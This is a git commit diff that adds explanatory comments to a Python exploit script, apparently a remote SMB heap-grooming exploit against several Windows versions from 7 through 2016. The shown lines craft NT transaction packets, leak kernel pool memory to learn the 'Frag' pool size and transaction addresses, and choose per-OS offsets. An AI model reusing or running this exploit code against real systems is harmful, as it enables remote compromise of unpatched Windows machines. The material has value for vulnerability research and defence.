add exploit comment

This commit is contained in:
worawit
2017-06-20 21:51:13 +07:00
parent 6db1df8496
commit 5bb2cc075e

View File

@@ -18,7 +18,7 @@ Tested on:
- Windows 2016 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
'''
@@ -114,6 +114,10 @@ BRIDE_TRANS_SIZE = 0x1000 - (GROOM_TRANS_SIZE & 0xfff) - FRAG_POOL_SIZE - 0x40 #
def leak_frag_size(conn, tid, fid):
# A "Frag" pool is placed after the large pool allocation if last page has some free space left.
# A "Frag" pool size is 0x10 or 0x20 depended on Windows version.
# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
# From the leak info, we can determine the target architecture too.
mid = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
@@ -155,6 +159,19 @@ def align_transaction_and_leak(conn, tid, fid, numFill=4):
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
# expected transactions alignment ("Frag" pool is not shown)
#
# | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE |
# +-------------------------------+----------------+-------------------------------+----------------+
# | GROOM mid=mid_ntrename | extra_mid1 | GROOM mid=fid | extra_mid2 |
# +-------------------------------+----------------+-------------------------------+----------------+
#
# If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
# From leaked transaction, we get
# - leaked transaction address from InParameter or InData
# - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
# With these information, we can verify the transaction aligment from displacement.
leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
leakData = leakData[0x10d4:] # skip parameters and its own input
@@ -259,6 +276,7 @@ def exploit(target, pipe_name):
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os):
info.update(WIN7_INFO)
elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "):